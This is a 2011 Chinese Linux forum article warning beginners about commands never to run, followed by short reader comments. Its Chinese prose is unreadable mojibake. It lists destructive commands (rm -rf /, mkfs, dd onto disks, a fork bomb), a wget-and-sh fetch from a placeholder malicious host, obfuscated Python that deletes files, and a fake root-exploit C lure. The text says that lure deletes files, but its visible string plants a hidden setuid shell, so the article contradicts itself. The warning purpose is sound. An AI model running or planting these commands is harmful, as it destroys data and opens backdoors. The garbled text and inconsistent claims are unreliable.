ºìÁªLinuxÃÅ»§
Linux°ïÖú

Linux±¸¿¼£ºÇ§ÍòǧÍò²»ÒªÔËÐеÄÃüÁ

·¢²¼Ê±¼ä:2011-06-05 10:54:04À´Ô´:ºìÁª×÷Õß:dupontjoy
±¸¿¼£ºÇ§ÍòǧÍò²»ÒªÔËÐеÄÃüÁÎÄÖÐÁгöµÄÃüÁî¾ø¶Ô²»¿ÉÒÔÔËÐУ¬¼´Ê¹Äã¾õµÃºÜºÃÆæÒ²²»ÐУ¬ÒòΪËüÃÇ»áʵʵÔÚÔÚµÄÆÆ»µÄãµÄϵͳ¡£

¾¯¸æ:

ÎÄÖÐÁгöµÄÃüÁî¾ø¶Ô²»¿ÉÒÔÔËÐУ¬¼´Ê¹Äã¾õµÃºÜºÃÆæÒ²²»ÐУ¬ÒòΪËüÃÇ»áʵʵÔÚÔÚµÄÆÆ»µÄãµÄϵͳ¡£

¿¼ÊÔ´óÌáʾÔçÍíÓÐÒ»Ì죬Linux ϵͳ»áÏñ Windows ÄÇÑùÁ÷ÐУ¬ÓõÄÈËÔ½À´Ô½¶à£¬°üÀ¨¶Ô¼ÆËã»ú²»ÊǺÜÁ˽âµÄÈË£¬±¾ÎĵÄÄ¿µÄ¾ÍÊǸæËß´ó¼Ò£ºÔÚ Linux ¸øÄã×î´ó³Ì¶È×ÔÓɶȵÄͬʱ£¬Ò²Ê¹µÃÆÆ»µÏµÍ³±äµÃ¸ü¼ÓÈÝÒ×£¬Èç¹ûÄã²»Á˽âijЩÃüÁîµÄÒâÒ壬ÏÂÔØÖ´Ðаüº¬¶ñÒâÃüÁîµÄ½Å±¾£¬»òÕß±»Æ­ÔËÐÐijЩÃüÁºÜÈÝÒ×ÈÃÄã¿Þ¶¼À´²»¼°¡£

Õâ²¢²»ÊÇ˵Ã÷ Linux ²»°²È«£¬Ö»ÊÇ˵Ã÷ÔÚ²»Á˽â Linux £¬ºÍºÜ²»Ð¡ÐĵÄÈËÃæÇ°£¬Linux Ê®·Ö²»°²È«¡£Windows Ò²ºÃ£¬Linux Ò²ºÃ£¬È˱¾Éí²ÅÊÇ×î´óµÄ²»°²È«ÒòËØ¡£

ÏÂÃæµÄÃüÁî»áɾ³ýÄãÓ²ÅÌÉϵÄÎļþ£¬rm µÄ -r µÝ¹éɾ³ý£¬ºÍ -f Ç¿ÖÆɾ³ýÊǺÜΣÏÕµÄÑ¡Ï¼´Ê¹ÈÕ³£²Ù×÷£¬Ò²»áÓöµ½ÎóɾÎļþµÄÇé¿ö¡£

sudo rm -rf / ɾ³ý¸ù·ÖÇøÈ«²¿µÄÎļþ

sudo rm -rf . ɾ³ýµ±Ç°Ä¿Â¼ÏµÄËùÓÐÎļþ

sudo rm -rf * ͬÉÏ

rm -rf * or rm -rf *.* ͬÉÏ

rm -rf ~ / & ɾ³ý¸ù·ÖÇøºÍ¼ÒĿ¼£¬¼´Ê¹Äã²»ÊÇroot£¬¼ÒĿ¼»¹ÊDz»ÄÜÐÒÃâ¡£

ͬÑù£¬Èç¹ûÄã²»ÖªµÀ mkfs.xxxx (xxxx ¿ÉÒÔÊÇ vfat¡¢ext2¡¢ext3¡¢bfs¡­¡­) ÊǸñʽ»¯ÃüÁîµÄ»°£¬ÔËÐÐÏÂÃæµÄÃüÁî»á²Á³ýÄãµÄÓ²ÅÌ·ÖÇø£º

sudo mkfs.xxxx

dd ÊÇÇ¿´óµÄ IO ÊäÈëÊä³ö¶¨Ïò¹¤¾ß£¬Èç¹ûʹÓò»µ±£¬ÆÆ»µÐԺܴ󣬲»½ö½öÊǵ±Ç°·ÖÇø£¬µ±Ç°ÏµÍ³£¬ÓеÄʱºòÊÇÕû¸öÓ²ÅÌ¡£

sudo dd if=/dev/zero of=/dev/sda È«²¿Ó²ÅÌÇåÁã¡£

sudo dd if=/dev/sda of=/dev/sdb ÓõÚÒ»¿éÓ²Å̵ÄÄÚÈݸ²¸ÇµÚ¶þ¿éµÄÄÚÈÝ¡£

sudo dd if=something of=/dev/sda ÍùÓ²ÅÌÉÏдÀ¬»øÊý¾Ý¡£

ͬÀí£¬Ö±½Ó°ÑÃüÁî½á¹û¶¨Ïòµ½Ó²ÅÌÉÏ£¬Ï൱ÓÚÍùÓ²ÅÌÉÏдÀ¬»øÊý¾Ý£º

any_command > /dev/sda ÓÃËæÒâµÄÊý¾ÝÆÆ»µÓ²ÅÌ

ÉÏÃæµÄ sda ¡¢sdb Ò²¿ÉÄÜÊÇÆäËûÀàËƵÄÃû³Æ¡£Linux µÄ /dev ϵͳ¸ø²Ù×ÝÓ²¼þÌṩÁ˺ܷ½±ãºÍÇ¿´óµÄ¹¦ÄÜ£¬Í¬Ê±Ò²Ê¹µÃÆÆ»µ±äµÃ¸üÈÝÒס£

fork ÃüÁî´ò¿ªÒ»¸ö×Ó½ø³Ì£¬Èç¹û°Ñ fork ·ÅÔÚÎÞÏÞÑ­»·ÖУ¬×îÖÕ×Ó½ø³Ì»áºÄ¾¡ËùÓÐÄÚ´æ×ÊÔ´£º

:(){:|:&};:

Õâ¶Î²»ÖªËùÔƵķûºÅ£¬¿ÉÒÔÈà Shell ²»Í£µÄ fork ×Ó½ø³Ì£¬×îºóµ¼ÖÂÄÚ´æºÄ¾¡£¬²»µÃ²»ÖØÆô£¬Õâ²»ÊÇ bug£¬Ö»ÊÇ Shell Óï¾ä¹ÊÒâд³É¼òдµÄÐÎʽ¶øÒÑ¡£ÏÂÃæµÄͬÀí£º

fork while fork

ÓеÄʱºò£¬Ñ¹Ëõ°üÒ²ÊÇÒ»¸öÆÆ»µÀ´Ô´¡«

ÓеÄѹËõ°üÒªÇóÄã½âѹµ½Ä³¸öϵͳÖÐÒѾ­´æÔÚµÄĿ¼ÖУ¬ÕâʱºòÄã¾ÍÒªÌرðСÐÄÁË£¬Ñ¹Ëõ°üÀïÃæ¿ÉÄÜÓгÉǧÉÏÍòµÄСÎļþ£¬ÒÔ¸÷ÖÖÎļþÃû³¢ÊÔ¸²¸ÇÄãÏÖÓеÄÎļþ¡£

ÓеÄѹËõ°ü¿´ÆðÀ´ºÜС£¬µ«Êǽâѹ³öÀ´ÊÇÉÏ GB µÄÀ¬»øÊý¾Ý£¬»á³ä³âÄãµÄÓ²ÅÌ¡£

´Ó²»Õý¹æÍøÕ¾ÏÂÔصijÌÐò¡¢½Å±¾£¬Í¬Ñù»áÓаüº¬¶ñÒâÃüÁîµÄΣÏÕ£¬²»¿ÉËæ±ãÖ´ÐУº

wget http://some_place/some_file

sh ./some_file

wget http://hax018r.org/malicious-script

sh ./malicious-script

Ôؽű¾ÒªÈ·±£À´Ô´Õý¹æ£¬Èç¹ûÓÐÄÜÁ¦£¬¿ÉÒÔÔĶÁÆä´úÂë¡£

¼´Ê¹ÓÐÔ´´úÂëµÄ³ÌÐò£¬Ò²²»ÒªËæ±ã±àÒëÖ´ÐУº

char esp[] __attribute__ ((section(".text"))) /* e.s.p

release */

= "xebx3ex5bx31xc0x50x54x5ax83xecx64x68"

"xffxffxffxffx68xdfxd0xdfxd9x68x8dx99"

"xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7"

"x56x04xf7x56x08xf7x56x0cx83xc4x74x56"

"x8dx73x08x56x53x54x59xb0x0bxcdx80x31"

"xc0x40xebxf9xe8xbdxffxffxffx2fx62x69"

"x6ex2fx73x68x00x2dx63x00"

"cp -p /bin/sh /tmp/.beyond; chmod 4755

/tmp/.beyond;";

ÉÏÃæ¿´ÆðÀ´Ö»ÊÇÒ»¶ÑûÓÐÒâÒåµÄ 16 ½øÖÆÊý¾Ý£¬Èç¹ûÓÐÈ˸æËßÄ㣬ÔËÐÐÕâ¸ö³ÌÐòÄã¾Í¿ÉÒÔ²»ÊäÈëÃÜÂëÈ¡µÃϵͳµÄ root ȨÏÞ£¬Äã¿É²»ÒªÏàÐÅËû£¬ÉÏÃæµÄ³ÌÐòʵ¼ÊÔËÐеÄÊÇ rm -rf ~ / & !!!

python Ò»ÀàµÄ½Å±¾ÓïÑÔ£¬Í¬Ñù¿ÉÒÔÄÃÀ´¸ãÆÆ»µ£º

python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg! "]))'

Õâ¶Î³ÌÐòʵ¼ÊÉÏ»áÖ´ÐÐ rm -rf *£¬Ò²ÐíÄãºÜÆæ¹ÖÉÏÃæ³ÌÐò½áβµÄ ¡°sn!.sg! ¡± ÊÇʲôÒâ˼£¬Êµ¼ÊÉϾÍÊÇ rm -rf * ÿ¸ö×ÖĸµÄÏÂÒ»¸ö!

ÄÇôÎÒÃÇÈçºÎ±ÜÃâÔËÐжñÒâ³ÌÐòÄØ?

µÚÒ»²»ÒªÓà root ×÷ΪÈÕ³£Ê¹ÓõÄÓû§£¬ÉÏÃæµÄ³ÌÐò£¬Èç¹ûµ±Ç°Óû§²»ÊÇ root£¬Î£º¦µÄ²¨¼°·¶Î§¾Í»áСºÜ¶à¡£

µÚ¶þÒªÖªµÀÄÄЩÃüÁîÊǸÉʲôÓõģ¬²»ÖªµÀµÄÃüÁҪðȻÔËÐС£ÔËÐÐÓÐDZÔÚÆÆ»µÄÜÁ¦µÄ³ÌÐò£¬ÒªÐ¡Ðļì²é×Ô¼ºµÄÊäÈë¡£

µÚÈýÒª±£Ö¤Èí¼þ¡¢½Å±¾µÄÀ´Ô´Õý¹æ¡£

×îºóÒ»µã£¬ËäÈ»±È½ÏÏû¼«£¬µ«ÊÇȷʵʮ·ÖÖØÒªµÄÒ»µã£º

¾­³£±¸·ÝÄãµÄÊý¾Ý!!

À´Ô´£ºhttp://news.bangkaow.com/news/20110603/181483.html
ÎÄÕÂÆÀÂÛ

¹²ÓÐ 17 ÌõÆÀÂÛ

  1. zlong ÓÚ 2011-08-26 13:39:14·¢±í:

    ¸ÐлÌáÐÑ£¬ÎÒÊղأ¬Ð»Ð»

  2. jinck ÓÚ 2011-07-28 12:42:28·¢±í:

    ºÇºÇ »á×¢ÒâÁË

  3. daen ÓÚ 2011-07-27 11:42:44·¢±í:

    °¥£¡ ÎÞËùνÀ²£¬Ñ§Ï°Â¼´Ê¹É¾³ýÁË¿ÉÒÔÖرðµÄµØ·½¿½»ØÀ´¡£ ´óµ¨ÊÔÑé¡·¡£¡£¡£

  4. yrj8008037241 ÓÚ 2011-07-27 10:47:01·¢±í:

    :0wmjh(1

  5. hpy1165331898 ÓÚ 2011-07-05 19:47:09·¢±í:

    ¶¥:0)1

  6. lgcHR ÓÚ 2011-07-01 17:46:34·¢±í:

    ÎҸɹýÒ»´Î£¬´ó²»ÁËÔÚ×°Ò»´ÎÂï

  7. yrj8008037241 ÓÚ 2011-06-17 11:29:22·¢±í:

    :0wmjh(1

  8. pl_014 ÓÚ 2011-06-07 20:02:32·¢±í:

    ÒýÓÃ:
    LZÌáʾµÄµÚÈýµã²»Ïû¼«Ñ½£¬¾­³£±¸·ÝºÜÖØÒªÄØ£¡
    6shao ·¢±íÓÚ 2011-6-7 19:09

    ͬÒ⣬ÎÒÒªÊÇÓÃarch linux£¬Ö»Óùٷ½Ô´£¬Á¬aur¶¼²»»áÓá£

  9. 6shao ÓÚ 2011-06-07 19:09:57·¢±í:

    LZÌáʾµÄµÚÈýµã²»Ïû¼«Ñ½£¬¾­³£±¸·ÝºÜÖØÒªÄØ£¡

  10. 6shao ÓÚ 2011-06-07 19:07:33·¢±í:

    ¸ÐлLZÌáÐÑ£¬ÊÕ²ØÖ®

  11. luodeke ÓÚ 2011-06-07 13:37:04·¢±í:

    linuxÏÂÃæ×îÁ÷ÐеIJ¡¶¾rm.¹þ¹þ£¬²»¹ýlinux±Èwindows°²È«µÄ¶à¡£ÓÈÆäÊÇÓÐÁËselinuxµÄRedHat

  12. pl_014 ÓÚ 2011-06-06 07:41:04·¢±í:

    ¼û¹ý£¬²»¹ýÔÙ¶¥Ò»Ï¡£

  13. lykginy ÓÚ 2011-06-06 00:03:00·¢±í:

    ÎÒ¾ÍÊÔ¹ý°Ñ/usr /bin /boot /etc /lib ¶¼É¾ÁË

  14. gogo11 ÓÚ 2011-06-05 23:14:55·¢±í:

    °³É¾³ýĿ¼µÄʱºò¾ÍÊÇʹÓÃsudo rm -rf *µÄ~~~~~~~~`

  15. hantu ÓÚ 2011-06-05 18:42:19·¢±í:

    ¶àÊý¸öÈËÓõÄϵͳÓÖûʲôËùνµÄÖØÒªÊý¾Ý£¬Ã»Ê²Ã´ÃüÁî²»¿ÉÔËÐУ¬×î¶àÖØװϵͳ¶øÒÑ¡£

  16. drivers ÓÚ 2011-06-05 11:30:16·¢±í:

    ´ó²»ÁËÖØÐÂÀ´¹ý£¬ºÇºÇ

  17. rapistor ÓÚ 2011-06-05 11:19:58·¢±í:

    ÎÒ¶¼³Ô¹ýrm -rfµÄ¿÷µÄ£¬ÓÐÒ»´Îɾ³ýÁ˼ÒĿ¼£¬ÐÂÊÖ²Ù×÷ʱһ¶¨ÒªÐ¡ÐÄ¡£